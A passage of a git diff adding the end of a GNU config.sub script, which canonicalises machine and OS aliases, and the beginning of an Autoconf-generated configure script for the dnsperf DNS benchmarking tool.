os=-sysv3 + ;; + ebmon29k) + basic_machine=a29k-amd + os=-ebmon + ;; + elxsi) + basic_machine=elxsi-elxsi + os=-bsd + ;; + encore | umax | mmax) + basic_machine=ns32k-encore + ;; + es1800 | OSE68k | ose68k | ose | OSE) + basic_machine=m68k-ericsson + os=-ose + ;; + fx2800) + basic_machine=i860-alliant + ;; + genix) + basic_machine=ns32k-ns + ;; + gmicro) + basic_machine=tron-gmicro + os=-sysv + ;; + go32) + basic_machine=i386-pc + os=-go32 + ;; + h3050r* | hiux*) + basic_machine=hppa1.1-hitachi + os=-hiuxwe2 + ;; + h8300hms) + basic_machine=h8300-hitachi + os=-hms + ;; + h8300xray) + basic_machine=h8300-hitachi + os=-xray + ;; + h8500hms) + basic_machine=h8500-hitachi + os=-hms + ;; + harris) + basic_machine=m88k-harris + os=-sysv3 + ;; + hp300-*) + basic_machine=m68k-hp + ;; + hp300bsd) + basic_machine=m68k-hp + os=-bsd + ;; + hp300hpux) + basic_machine=m68k-hp + os=-hpux + ;; + hp3k9[0-9][0-9] | hp9[0-9][0-9]) + basic_machine=hppa1.0-hp + ;; + hp9k2[0-9][0-9] | hp9k31[0-9]) + basic_machine=m68000-hp + ;; + hp9k3[2-9][0-9]) + basic_machine=m68k-hp + ;; + hp9k6[0-9][0-9] | hp6[0-9][0-9]) + basic_machine=hppa1.0-hp + ;; + hp9k7[0-79][0-9] | hp7[0-79][0-9]) + basic_machine=hppa1.1-hp + ;; + hp9k78[0-9] | hp78[0-9]) + # FIXME: really hppa2.0-hp + basic_machine=hppa1.1-hp + ;; + hp9k8[67]1 | hp8[67]1 | hp9k80[24] | hp80[24] | hp9k8[78]9 | hp8[78]9 | hp9k893 | hp893) + # FIXME: really hppa2.0-hp + basic_machine=hppa1.1-hp + ;; + hp9k8[0-9][13679] | hp8[0-9][13679]) + basic_machine=hppa1.1-hp + ;; + hp9k8[0-9][0-9] | hp8[0-9][0-9]) + basic_machine=hppa1.0-hp + ;; + hppa-next) + os=-nextstep3 + ;; + hppaosf) + basic_machine=hppa1.1-hp + os=-osf + ;; + hppro) + basic_machine=hppa1.1-hp + os=-proelf + ;; + i370-ibm* | ibm*) + basic_machine=i370-ibm + ;; +# I'm not sure what "Sysv32" means. Should this be sysv3.2? + i*86v32) + basic_machine=`echo $1 | sed -e 's/86.*/86-pc/'` + os=-sysv32 + ;; + i*86v4*) + basic_machine=`echo $1 | sed -e 's/86.*/86-pc/'` + os=-sysv4 + ;; + i*86v) + basic_machine=`echo $1 | sed -e 's/86.*/86-pc/'` + os=-sysv + ;; + i*86sol2) + basic_machine=`echo $1 | sed -e 's/86.*/86-pc/'` + os=-solaris2 + ;; + i386mach) + basic_machine=i386-mach + os=-mach + ;; + i386-vsta | vsta) + basic_machine=i386-unknown + os=-vsta + ;; + iris | iris4d) + basic_machine=mips-sgi + case $os in + -irix*) + ;; + *) + os=-irix4 + ;; + esac + ;; + isi68 | isi) + basic_machine=m68k-isi + os=-sysv + ;; + m88k-omron*) + basic_machine=m88k-omron + ;; + magnum | m3230) + basic_machine=mips-mips + os=-sysv + ;; + merlin) + basic_machine=ns32k-utek + os=-sysv + ;; + mingw32) + basic_machine=i386-pc + os=-mingw32 + ;; + miniframe) + basic_machine=m68000-convergent + ;; + *mint | -mint[0-9]* | *MiNT | *MiNT[0-9]*) + basic_machine=m68k-atari + os=-mint + ;; + mips3*-*) + basic_machine=`echo $basic_machine | sed -e 's/mips3/mips64/'` + ;; + mips3*) + basic_machine=`echo $basic_machine | sed -e 's/mips3/mips64/'`-unknown + ;; + monitor) + basic_machine=m68k-rom68k + os=-coff + ;; + morphos) + basic_machine=powerpc-unknown + os=-morphos + ;; + msdos) + basic_machine=i386-pc + os=-msdos + ;; + mvs) + basic_machine=i370-ibm + os=-mvs + ;; + ncr3000) + basic_machine=i486-ncr + os=-sysv4 + ;; + netbsd386) + basic_machine=i386-unknown + os=-netbsd + ;; + netwinder) + basic_machine=armv4l-rebel + os=-linux + ;; + news | news700 | news800 | news900) + basic_machine=m68k-sony + os=-newsos + ;; + news1000) + basic_machine=m68030-sony + os=-newsos + ;; + news-3600 | risc-news) + basic_machine=mips-sony + os=-newsos + ;; + necv70) + basic_machine=v70-nec + os=-sysv + ;; + next | m*-next ) + basic_machine=m68k-next + case $os in + -nextstep* ) + ;; + -ns2*) + os=-nextstep2 + ;; + *) + os=-nextstep3 + ;; + esac + ;; + nh3000) + basic_machine=m68k-harris + os=-cxux + ;; + nh[45]000) + basic_machine=m88k-harris + os=-cxux + ;; + nindy960) + basic_machine=i960-intel + os=-nindy + ;; + mon960) + basic_machine=i960-intel + os=-mon960 + ;; + nonstopux) + basic_machine=mips-compaq + os=-nonstopux + ;; + np1) + basic_machine=np1-gould + ;; + nsr-tandem) + basic_machine=nsr-tandem + ;; + op50n-* | op60c-*) + basic_machine=hppa1.1-oki + os=-proelf + ;; + or32 | or32-*) + basic_machine=or32-unknown + os=-coff + ;; + os400) + basic_machine=powerpc-ibm + os=-os400 + ;; + OSE68000 | ose68000) + basic_machine=m68000-ericsson + os=-ose + ;; + os68k) + basic_machine=m68k-none + os=-os68k + ;; + pa-hitachi) + basic_machine=hppa1.1-hitachi + os=-hiuxwe2 + ;; + paragon) + basic_machine=i860-intel + os=-osf + ;; + pbd) + basic_machine=sparc-tti + ;; + pbb) + basic_machine=m68k-tti + ;; + pc532 | pc532-*) + basic_machine=ns32k-pc532 + ;; + pentium | p5 | k5 | k6 | nexgen | viac3) + basic_machine=i586-pc + ;; + pentiumpro | p6 | 6x86 | athlon | athlon_*) + basic_machine=i686-pc + ;; + pentiumii | pentium2 | pentiumiii | pentium3) + basic_machine=i686-pc + ;; + pentium4) + basic_machine=i786-pc + ;; + pentium-* | p5-* | k5-* | k6-* | nexgen-* | viac3-*) + basic_machine=i586-`echo $basic_machine | sed 's/^[^-]*-//'` + ;; + pentiumpro-* | p6-* | 6x86-* | athlon-*) + basic_machine=i686-`echo $basic_machine | sed 's/^[^-]*-//'` + ;; + pentiumii-* | pentium2-* | pentiumiii-* | pentium3-*) + basic_machine=i686-`echo $basic_machine | sed 's/^[^-]*-//'` + ;; + pentium4-*) + basic_machine=i786-`echo $basic_machine | sed 's/^[^-]*-//'` + ;; + pn) + basic_machine=pn-gould + ;; + power) basic_machine=power-ibm + ;; + ppc) basic_machine=powerpc-unknown + ;; + ppc-*) basic_machine=powerpc-`echo $basic_machine | sed 's/^[^-]*-//'` + ;; + ppcle | powerpclittle | ppc-le | powerpc-little) + basic_machine=powerpcle-unknown + ;; + ppcle-* | powerpclittle-*) + basic_machine=powerpcle-`echo $basic_machine | sed 's/^[^-]*-//'` + ;; + ppc64) basic_machine=powerpc64-unknown + ;; + ppc64-*) basic_machine=powerpc64-`echo $basic_machine | sed 's/^[^-]*-//'` + ;; + ppc64le | powerpc64little | ppc64-le | powerpc64-little) + basic_machine=powerpc64le-unknown + ;; + ppc64le-* | powerpc64little-*) + basic_machine=powerpc64le-`echo $basic_machine | sed 's/^[^-]*-//'` + ;; + ps2) + basic_machine=i386-ibm + ;; + pw32) + basic_machine=i586-unknown + os=-pw32 + ;; + rom68k) + basic_machine=m68k-rom68k + os=-coff + ;; + rm[46]00) + basic_machine=mips-siemens + ;; + rtpc | rtpc-*) + basic_machine=romp-ibm + ;; + s390 | s390-*) + basic_machine=s390-ibm + ;; + s390x | s390x-*) + basic_machine=s390x-ibm + ;; + sa29200) + basic_machine=a29k-amd + os=-udi + ;; + sb1) + basic_machine=mipsisa64sb1-unknown + ;; + sb1el) + basic_machine=mipsisa64sb1el-unknown + ;; + sei) + basic_machine=mips-sei + os=-seiux + ;; + sequent) + basic_machine=i386-sequent + ;; + sh) + basic_machine=sh-hitachi + os=-hms + ;; + sh64) + basic_machine=sh64-unknown + ;; + sparclite-wrs | simso-wrs) + basic_machine=sparclite-wrs + os=-vxworks + ;; + sps7) + basic_machine=m68k-bull + os=-sysv2 + ;; + spur) + basic_machine=spur-unknown + ;; + st2000) + basic_machine=m68k-tandem + ;; + stratus) + basic_machine=i860-stratus + os=-sysv4 + ;; + sun2) + basic_machine=m68000-sun + ;; + sun2os3) + basic_machine=m68000-sun + os=-sunos3 + ;; + sun2os4) + basic_machine=m68000-sun + os=-sunos4 + ;; + sun3os3) + basic_machine=m68k-sun + os=-sunos3 + ;; + sun3os4) + basic_machine=m68k-sun + os=-sunos4 + ;; + sun4os3) + basic_machine=sparc-sun + os=-sunos3 + ;; + sun4os4) + basic_machine=sparc-sun + os=-sunos4 + ;; + sun4sol2) + basic_machine=sparc-sun + os=-solaris2 + ;; + sun3 | sun3-*) + basic_machine=m68k-sun + ;; + sun4) + basic_machine=sparc-sun + ;; + sun386 | sun386i | roadrunner) + basic_machine=i386-sun + ;; + sv1) + basic_machine=sv1-cray + os=-unicos + ;; + symmetry) + basic_machine=i386-sequent + os=-dynix + ;; + t3e) + basic_machine=alphaev5-cray + os=-unicos + ;; + t90) + basic_machine=t90-cray + os=-unicos + ;; + tic54x | c54x*) + basic_machine=tic54x-unknown + os=-coff + ;; + tic55x | c55x*) + basic_machine=tic55x-unknown + os=-coff + ;; + tic6x | c6x*) + basic_machine=tic6x-unknown + os=-coff + ;; + tx39) + basic_machine=mipstx39-unknown + ;; + tx39el) + basic_machine=mipstx39el-unknown + ;; + toad1) + basic_machine=pdp10-xkl + os=-tops20 + ;; + tower | tower-32) + basic_machine=m68k-ncr + ;; + tpf) + basic_machine=s390x-ibm + os=-tpf + ;; + udi29k) + basic_machine=a29k-amd + os=-udi + ;; + ultra3) + basic_machine=a29k-nyu + os=-sym1 + ;; + v810 | necv810) + basic_machine=v810-nec + os=-none + ;; + vaxv) + basic_machine=vax-dec + os=-sysv + ;; + vms) + basic_machine=vax-dec + os=-vms + ;; + vpp*|vx|vx-*) + basic_machine=f301-fujitsu + ;; + vxworks960) + basic_machine=i960-wrs + os=-vxworks + ;; + vxworks68) + basic_machine=m68k-wrs + os=-vxworks + ;; + vxworks29k) + basic_machine=a29k-wrs + os=-vxworks + ;; + w65*) + basic_machine=w65-wdc + os=-none + ;; + w89k-*) + basic_machine=hppa1.1-winbond + os=-proelf + ;; + xps | xps100) + basic_machine=xps100-honeywell + ;; + ymp) + basic_machine=ymp-cray + os=-unicos + ;; + z8k-*-coff) + basic_machine=z8k-unknown + os=-sim + ;; + none) + basic_machine=none-none + os=-none + ;; + +# Here we handle the default manufacturer of certain CPU types. It is in +# some cases the only manufacturer, in others, it is the most popular. + w89k) + basic_machine=hppa1.1-winbond + ;; + op50n) + basic_machine=hppa1.1-oki + ;; + op60c) + basic_machine=hppa1.1-oki + ;; + romp) + basic_machine=romp-ibm + ;; + mmix) + basic_machine=mmix-knuth + ;; + rs6000) + basic_machine=rs6000-ibm + ;; + vax) + basic_machine=vax-dec + ;; + pdp10) + # there are many clones, so DEC is not a safe bet + basic_machine=pdp10-unknown + ;; + pdp11) + basic_machine=pdp11-dec + ;; + we32k) + basic_machine=we32k-att + ;; + sh3 | sh4 | sh[34]eb | sh[1234]le | sh[23]ele) + basic_machine=sh-unknown + ;; + sh64) + basic_machine=sh64-unknown + ;; + sparc | sparcv8 | sparcv9 | sparcv9b) + basic_machine=sparc-sun + ;; + cydra) + basic_machine=cydra-cydrome + ;; + orion) + basic_machine=orion-highlevel + ;; + orion105) + basic_machine=clipper-highlevel + ;; + mac | mpw | mac-mpw) + basic_machine=m68k-apple + ;; + pmac | pmac-mpw) + basic_machine=powerpc-apple + ;; + *-unknown) + # Make sure to match an already-canonicalized machine name. + ;; + *) + echo Invalid configuration \`$1\': machine \`$basic_machine\' not recognized 1>&2 + exit 1 + ;; +esac + +# Here we canonicalize certain aliases for manufacturers. +case $basic_machine in + *-digital*) + basic_machine=`echo $basic_machine | sed 's/digital.*/dec/'` + ;; + *-commodore*) + basic_machine=`echo $basic_machine | sed 's/commodore.*/cbm/'` + ;; + *) + ;; +esac + +# Decode manufacturer-specific aliases for certain operating systems. + +if [ x"$os" != x"" ] +then +case $os in + # First match some system type aliases + # that might get confused with valid system types. + # -solaris* is a basic system type, with this one exception. + -solaris1 | -solaris1.*) + os=`echo $os | sed -e 's|solaris1|sunos4|'` + ;; + -solaris) + os=-solaris2 + ;; + -svr4*) + os=-sysv4 + ;; + -unixware*) + os=-sysv4.2uw + ;; + -gnu/linux*) + os=`echo $os | sed -e 's|gnu/linux|linux-gnu|'` + ;; + # First accept the basic system types. + # The portable systems comes first. + # Each alternative MUST END IN A *, to match a version number. + # -sysv* is not here because it comes later, after sysvr4. + -gnu* | -bsd* | -mach* | -minix* | -genix* | -ultrix* | -irix* \ + | -*vms* | -sco* | -esix* | -isc* | -aix* | -sunos | -sunos[34]*\ + | -hpux* | -unos* | -osf* | -luna* | -dgux* | -solaris* | -sym* \ + | -amigaos* | -amigados* | -msdos* | -newsos* | -unicos* | -aof* \ + | -aos* \ + | -nindy* | -vxsim* | -vxworks* | -ebmon* | -hms* | -mvs* \ + | -clix* | -riscos* | -uniplus* | -iris* | -rtu* | -xenix* \ + | -hiux* | -386bsd* | -knetbsd* | -mirbsd* | -netbsd* | -openbsd* \ + | -ekkobsd* | -kfreebsd* | -freebsd* | -riscix* | -lynxos* \ + | -bosx* | -nextstep* | -cxux* | -aout* | -elf* | -oabi* \ + | -ptx* | -coff* | -ecoff* | -winnt* | -domain* | -vsta* \ + | -udi* | -eabi* | -lites* | -ieee* | -go32* | -aux* \ + | -chorusos* | -chorusrdb* \ + | -cygwin* | -pe* | -psos* | -moss* | -proelf* | -rtems* \ + | -mingw32* | -linux-gnu* | -linux-uclibc* | -uxpv* | -beos* | -mpeix* | -udk* \ + | -interix* | -uwin* | -mks* | -rhapsody* | -darwin* | -opened* \ + | -openstep* | -oskit* | -conix* | -pw32* | -nonstopux* \ + | -storm-chaos* | -tops10* | -tenex* | -tops20* | -its* \ + | -os2* | -vos* | -palmos* | -uclinux* | -nucleus* \ + | -morphos* | -superux* | -rtmk* | -rtmk-nova* | -windiss* \ + | -powermax* | -dnix* | -nx6 | -nx7 | -sei* | -dragonfly*) + # Remember, each alternative MUST END IN *, to match a version number. + ;; + -qnx*) + case $basic_machine in + x86-* | i*86-*) + ;; + *) + os=-nto$os + ;; + esac + ;; + -nto-qnx*) + ;; + -nto*) + os=`echo $os | sed -e 's|nto|nto-qnx|'` + ;; + -sim | -es1800* | -hms* | -xray | -os68k* | -none* | -v88r* \ + | -windows* | -osx | -abug | -netware* | -os9* | -beos* \ + | -macos* | -mpw* | -magic* | -mmixware* | -mon960* | -lnews*) + ;; + -mac*) + os=`echo $os | sed -e 's|mac|macos|'` + ;; + -linux-dietlibc) + os=-linux-dietlibc + ;; + -linux*) + os=`echo $os | sed -e 's|linux|linux-gnu|'` + ;; + -sunos5*) + os=`echo $os | sed -e 's|sunos5|solaris2|'` + ;; + -sunos6*) + os=`echo $os | sed -e 's|sunos6|solaris3|'` + ;; + -opened*) + os=-openedition + ;; + -os400*) + os=-os400 + ;; + -wince*) + os=-wince + ;; + -osfrose*) + os=-osfrose + ;; + -osf*) + os=-osf + ;; + -utek*) + os=-bsd + ;; + -dynix*) + os=-bsd + ;; + -acis*) + os=-aos + ;; + -atheos*) + os=-atheos + ;; + -syllable*) + os=-syllable + ;; + -386bsd) + os=-bsd + ;; + -ctix* | -uts*) + os=-sysv + ;; + -nova*) + os=-rtmk-nova + ;; + -ns2 ) + os=-nextstep2 + ;; + -nsk*) + os=-nsk + ;; + # Preserve the version number of sinix5. + -sinix5.*) + os=`echo $os | sed -e 's|sinix|sysv|'` + ;; + -sinix*) + os=-sysv4 + ;; + -tpf*) + os=-tpf + ;; + -triton*) + os=-sysv3 + ;; + -oss*) + os=-sysv3 + ;; + -svr4) + os=-sysv4 + ;; + -svr3) + os=-sysv3 + ;; + -sysvr4) + os=-sysv4 + ;; + # This must come after -sysvr4. + -sysv*) + ;; + -ose*) + os=-ose + ;; + -es1800*) + os=-ose + ;; + -xenix) + os=-xenix + ;; + -*mint | -mint[0-9]* | -*MiNT | -MiNT[0-9]*) + os=-mint + ;; + -aros*) + os=-aros + ;; + -kaos*) + os=-kaos + ;; + -none) + ;; + *) + # Get rid of the `-' at the beginning of $os. + os=`echo $os | sed 's/[^-]*-//'` + echo Invalid configuration \`$1\': system \`$os\' not recognized 1>&2 + exit 1 + ;; +esac +else + +# Here we handle the default operating systems that come with various machines. +# The value should be what the vendor currently ships out the door with their +# machine or put another way, the most popular os provided with the machine. + +# Note that if you're going to try to match "-MANUFACTURER" here (say, +# "-sun"), then you have to tell the case statement up towards the top +# that MANUFACTURER isn't an operating system. Otherwise, code above +# will signal an error saying that MANUFACTURER isn't an operating +# system, and we'll never get to this point. + +case $basic_machine in + *-acorn) + os=-riscix1.2 + ;; + arm*-rebel) + os=-linux + ;; + arm*-semi) + os=-aout + ;; + c4x-* | tic4x-*) + os=-coff + ;; + # This must come before the *-dec entry. + pdp10-*) + os=-tops20 + ;; + pdp11-*) + os=-none + ;; + *-dec | vax-*) + os=-ultrix4.2 + ;; + m68*-apollo) + os=-domain + ;; + i386-sun) + os=-sunos4.0.2 + ;; + m68000-sun) + os=-sunos3 + # This also exists in the configure program, but was not the + # default. + # os=-sunos4 + ;; + m68*-cisco) + os=-aout + ;; + mips*-cisco) + os=-elf + ;; + mips*-*) + os=-elf + ;; + or32-*) + os=-coff + ;; + *-tti) # must be before sparc entry or we get the wrong os. + os=-sysv3 + ;; + sparc-* | *-sun) + os=-sunos4.1.1 + ;; + *-be) + os=-beos + ;; + *-ibm) + os=-aix + ;; + *-knuth) + os=-mmixware + ;; + *-wec) + os=-proelf + ;; + *-winbond) + os=-proelf + ;; + *-oki) + os=-proelf + ;; + *-hp) + os=-hpux + ;; + *-hitachi) + os=-hiux + ;; + i860-* | *-att | *-ncr | *-altos | *-motorola | *-convergent) + os=-sysv + ;; + *-cbm) + os=-amigaos + ;; + *-dg) + os=-dgux + ;; + *-dolphin) + os=-sysv3 + ;; + m68k-ccur) + os=-rtu + ;; + m88k-omron*) + os=-luna + ;; + *-next ) + os=-nextstep + ;; + *-sequent) + os=-ptx + ;; + *-crds) + os=-unos + ;; + *-ns) + os=-genix + ;; + i370-*) + os=-mvs + ;; + *-next) + os=-nextstep3 + ;; + *-gould) + os=-sysv + ;; + *-highlevel) + os=-bsd + ;; + *-encore) + os=-bsd + ;; + *-sgi) + os=-irix + ;; + *-siemens) + os=-sysv4 + ;; + *-masscomp) + os=-rtu + ;; + f30[01]-fujitsu | f700-fujitsu) + os=-uxpv + ;; + *-rom68k) + os=-coff + ;; + *-*bug) + os=-coff + ;; + *-apple) + os=-macos + ;; + *-atari*) + os=-mint + ;; + *) + os=-none + ;; +esac +fi + +# Here we handle the case where we know the os, and the CPU type, but not the +# manufacturer. We pick the logical manufacturer. +vendor=unknown +case $basic_machine in + *-unknown) + case $os in + -riscix*) + vendor=acorn + ;; + -sunos*) + vendor=sun + ;; + -aix*) + vendor=ibm + ;; + -beos*) + vendor=be + ;; + -hpux*) + vendor=hp + ;; + -mpeix*) + vendor=hp + ;; + -hiux*) + vendor=hitachi + ;; + -unos*) + vendor=crds + ;; + -dgux*) + vendor=dg + ;; + -luna*) + vendor=omron + ;; + -genix*) + vendor=ns + ;; + -mvs* | -opened*) + vendor=ibm + ;; + -os400*) + vendor=ibm + ;; + -ptx*) + vendor=sequent + ;; + -tpf*) + vendor=ibm + ;; + -vxsim* | -vxworks* | -windiss*) + vendor=wrs + ;; + -aux*) + vendor=apple + ;; + -hms*) + vendor=hitachi + ;; + -mpw* | -macos*) + vendor=apple + ;; + -*mint | -mint[0-9]* | -*MiNT | -MiNT[0-9]*) + vendor=atari + ;; + -vos*) + vendor=stratus + ;; + esac + basic_machine=`echo $basic_machine | sed "s/unknown/$vendor/"` + ;; +esac + +echo $basic_machine$os +exit 0 + +# Local variables: +# eval: (add-hook 'write-file-hooks 'time-stamp) +# time-stamp-start: "timestamp='" +# time-stamp-format: "%:y-%02m-%02d" +# time-stamp-end: "'" +# End: diff --git a/dns-projects/dnsperf-src-2.0.0.0-1/configure b/dns-projects/dnsperf-src-2.0.0.0-1/configure new file mode 100755 index 0000000..8cf3dba --- /dev/null +++ b/dns-projects/dnsperf-src-2.0.0.0-1/configure @@ -0,0 +1,4940 @@ +#! /bin/sh +# Guess values for system-dependent variables and create Makefiles. +# Generated by GNU Autoconf 2.63. +# +# Copyright (C) 1992, 1993, 1994, 1995, 1996, 1998, 1999, 2000, 2001, +# 2002, 2003, 2004, 2005, 2006, 2007, 2008 Free Software Foundation, Inc. +# This configure script is free software; the Free Software Foundation +# gives unlimited permission to copy, distribute and modify it. +## --------------------- ## +## M4sh Initialization. ## +## --------------------- ## + +# Be more Bourne compatible +DUALCASE=1; export DUALCASE # for MKS sh +if test -n "${ZSH_VERSION+set}" && (emulate sh) >/dev/null 2>&1; then + emulate sh + NULLCMD=: + # Pre-4.2 versions of Zsh do word splitting on ${1+"$@"}, which + # is contrary to our usage. Disable this feature. + alias -g '${1+"$@"}'='"$@"' + setopt NO_GLOB_SUBST +else + case `(set -o) 2>/dev/null` in + *posix*) set -o posix ;; +esac + +fi + + + + +# PATH needs CR +# Avoid depending upon Character Ranges. +as_cr_letters='abcdefghijklmnopqrstuvwxyz' +as_cr_LETTERS='ABCDEFGHIJKLMNOPQRSTUVWXYZ' +as_cr_Letters=$as_cr_letters$as_cr_LETTERS +as_cr_digits='0123456789' +as_cr_alnum=$as_cr_Letters$as_cr_digits + +as_nl=' +' +export as_nl +# Printing a long string crashes Solaris 7 /usr/bin/printf. +as_echo='\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\' +as_echo=$as_echo$as_echo$as_echo$as_echo$as_echo +as_echo=$as_echo$as_echo$as_echo$as_echo$as_echo$as_echo +if (test "X`printf %s $as_echo`" = "X$as_echo") 2>/dev/null; then + as_echo='printf %s\n' + as_echo_n='printf %s' +else + if test "X`(/usr/ucb/echo -n -n $as_echo) 2>/dev/null`" = "X-n $as_echo"; then + as_echo_body='eval /usr/ucb/echo -n "$1$as_nl"' + as_echo_n='/usr/ucb/echo -n' + else + as_echo_body='eval expr "X$1" : "X\\(.*\\)"' + as_echo_n_body='eval + arg=$1; + case $arg in + *"$as_nl"*) + expr "X$arg" : "X\\(.*\\)$as_nl"; + arg=`expr "X$arg" : ".*$as_nl\\(.*\\)"`;; + esac; + expr "X$arg" : "X\\(.*\\)" | tr -d "$as_nl" + ' + export as_echo_n_body + as_echo_n='sh -c $as_echo_n_body as_echo' + fi + export as_echo_body + as_echo='sh -c $as_echo_body as_echo' +fi + +# The user is always right. +if test "${PATH_SEPARATOR+set}" != set; then + PATH_SEPARATOR=: + (PATH='/bin;/bin'; FPATH=$PATH; sh -c :) >/dev/null 2>&1 && { + (PATH='/bin:/bin'; FPATH=$PATH; sh -c :) >/dev/null 2>&1 || + PATH_SEPARATOR=';' + } +fi + +# Support unset when possible. +if ( (MAIL=60; unset MAIL) || exit) >/dev/null 2>&1; then + as_unset=unset +else + as_unset=false +fi + + +# IFS +# We need space, tab and new line, in precisely that order. Quoting is +# there to prevent editors from complaining about space-tab. +# (If _AS_PATH_WALK were called with IFS unset, it would disable word +# splitting by setting IFS to empty value.) +IFS=" "" $as_nl" + +# Find who we are. Look in the path if we contain no directory separator. +case $0 in + *[\\/]* ) as_myself=$0 ;; + *) as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + test -r "$as_dir/$0" && as_myself=$as_dir/$0 && break +done +IFS=$as_save_IFS + + ;; +esac +# We did not find ourselves, most probably we were run as `sh COMMAND' +# in which case we are not to be found in the path. +if test "x$as_myself" = x; then + as_myself=$0 +fi +if test ! -f "$as_myself"; then + $as_echo "$as_myself: error: cannot find myself; rerun with an absolute file name" >&2 + { (exit 1); exit 1; } +fi + +# Work around bugs in pre-3.0 UWIN ksh. +for as_var in ENV MAIL MAILPATH +do ($as_unset $as_var) >/dev/null 2>&1 && $as_unset $as_var +done +PS1='$ ' +PS2='> ' +PS4='+ ' + +# NLS nuisances. +LC_ALL=C +export LC_ALL +LANGUAGE=C +export LANGUAGE + +# Required to use basename. +if expr a : '\(a\)' >/dev/null 2>&1 && + test "X`expr 00001 : '.*\(...\)'`" = X001; then + as_expr=expr +else + as_expr=false +fi + +if (basename -- /) >/dev/null 2>&1 && test "X`basename -- / 2>&1`" = "X/"; then + as_basename=basename +else + as_basename=false +fi + + +# Name of the executable. +as_me=`$as_basename -- "$0" || +$as_expr X/"$0" : '.*/\([^/][^/]*\)/*$' \| \ + X"$0" : 'X\(//\)$' \| \ + X"$0" : 'X\(/\)' \| . 2>/dev/null || +$as_echo X/"$0" | + sed '/^.*\/\([^/][^/]*\)\/*$/{ + s//\1/ + q + } + /^X\/\(\/\/\)$/{ + s//\1/ + q + } + /^X\/\(\/\).*/{ + s//\1/ + q + } + s/.*/./; q'` + +# CDPATH. +$as_unset CDPATH + + +if test "x$CONFIG_SHELL" = x; then + if (eval ":") 2>/dev/null; then + as_have_required=yes +else + as_have_required=no +fi + + if test $as_have_required = yes && (eval ": +(as_func_return () { + (exit \$1) +} +as_func_success () { + as_func_return 0 +} +as_func_failure () { + as_func_return 1 +} +as_func_ret_success () { + return 0 +} +as_func_ret_failure () { + return 1 +} + +exitcode=0 +if as_func_success; then + : +else + exitcode=1 + echo as_func_success failed. +fi + +if as_func_failure; then + exitcode=1 + echo as_func_failure succeeded. +fi + +if as_func_ret_success; then + : +else + exitcode=1 + echo as_func_ret_success failed. +fi + +if as_func_ret_failure; then + exitcode=1 + echo as_func_ret_failure succeeded. +fi + +if ( set x; as_func_ret_success y && test x = \"\$1\" ); then + : +else + exitcode=1 + echo positional parameters were not saved. +fi + +test \$exitcode = 0) || { (exit 1); exit 1; } + +( + as_lineno_1=\$LINENO + as_lineno_2=\$LINENO + test \"x\$as_lineno_1\" != \"x\$as_lineno_2\" && + test \"x\`expr \$as_lineno_1 + 1\`\" = \"x\$as_lineno_2\") || { (exit 1); exit 1; } +") 2> /dev/null; then + : +else + as_candidate_shells= + as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in /bin$PATH_SEPARATOR/usr/bin$PATH_SEPARATOR$PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + case $as_dir in + /*) + for as_base in sh bash ksh sh5; do + as_candidate_shells="$as_candidate_shells $as_dir/$as_base" + done;; + esac +done +IFS=$as_save_IFS + + + for as_shell in $as_candidate_shells $SHELL; do + # Try only shells that exist, to save several forks. + if { test -f "$as_shell" || test -f "$as_shell.exe"; } && + { ("$as_shell") 2> /dev/null <<\_ASEOF +if test -n "${ZSH_VERSION+set}" && (emulate sh) >/dev/null 2>&1; then + emulate sh + NULLCMD=: + # Pre-4.2 versions of Zsh do word splitting on ${1+"$@"}, which + # is contrary to our usage. Disable this feature. + alias -g '${1+"$@"}'='"$@"' + setopt NO_GLOB_SUBST +else + case `(set -o) 2>/dev/null` in + *posix*) set -o posix ;; +esac + +fi + + +: +_ASEOF +}; then + CONFIG_SHELL=$as_shell + as_have_required=yes + if { "$as_shell" 2> /dev/null <<\_ASEOF +if test -n "${ZSH_VERSION+set}" && (emulate sh) >/dev/null 2>&1; then + emulate sh + NULLCMD=: + # Pre-4.2 versions of Zsh do word splitting on ${1+"$@"}, which + # is contrary to our usage. Disable this feature. + alias -g '${1+"$@"}'='"$@"' + setopt NO_GLOB_SUBST +else + case `(set -o) 2>/dev/null` in + *posix*) set -o posix ;; +esac + +fi + + +: +(as_func_return () { + (exit $1) +} +as_func_success () { + as_func_return 0 +} +as_func_failure () { + as_func_return 1 +} +as_func_ret_success () { + return 0 +} +as_func_ret_failure () { + return 1 +} + +exitcode=0 +if as_func_success; then + : +else + exitcode=1 + echo as_func_success failed. +fi + +if as_func_failure; then + exitcode=1 + echo as_func_failure succeeded. +fi + +if as_func_ret_success; then + : +else + exitcode=1 + echo as_func_ret_success failed. +fi + +if as_func_ret_failure; then + exitcode=1 + echo as_func_ret_failure succeeded. +fi + +if ( set x; as_func_ret_success y && test x = "$1" ); then + : +else + exitcode=1 + echo positional parameters were not saved. +fi + +test $exitcode = 0) || { (exit 1); exit 1; } + +( + as_lineno_1=$LINENO + as_lineno_2=$LINENO + test "x$as_lineno_1" != "x$as_lineno_2" && + test "x`expr $as_lineno_1 + 1`" = "x$as_lineno_2") || { (exit 1); exit 1; } + +_ASEOF +}; then + break +fi + +fi + + done + + if test "x$CONFIG_SHELL" != x; then + for as_var in BASH_ENV ENV + do ($as_unset $as_var) >/dev/null 2>&1 && $as_unset $as_var + done + export CONFIG_SHELL + exec "$CONFIG_SHELL" "$as_myself" ${1+"$@"} +fi + + + if test $as_have_required = no; then + echo This script requires a shell more modern than all the + echo shells that I found on your system. Please install a + echo modern shell, or manually run the script under such a + echo shell if you do have one. + { (exit 1); exit 1; } +fi + + +fi + +fi + + + +(eval "as_func_return () { + (exit \$1) +} +as_func_success () { + as_func_return 0 +} +as_func_failure () { + as_func_return 1 +} +as_func_ret_success () { + return 0 +} +as_func_ret_failure () { + return 1 +} + +exitcode=0 +if as_func_success; then + : +else + exitcode=1 + echo as_func_success failed. +fi + +if as_func_failure; then + exitcode=1 + echo as_func_failure succeeded. +fi + +if as_func_ret_success; then + : +else + exitcode=1 + echo as_func_ret_success failed. +fi + +if as_func_ret_failure; then + exitcode=1 + echo as_func_ret_failure succeeded. +fi + +if ( set x; as_func_ret_success y && test x = \"\$1\" ); then + : +else + exitcode=1 + echo positional parameters were not saved. +fi + +test 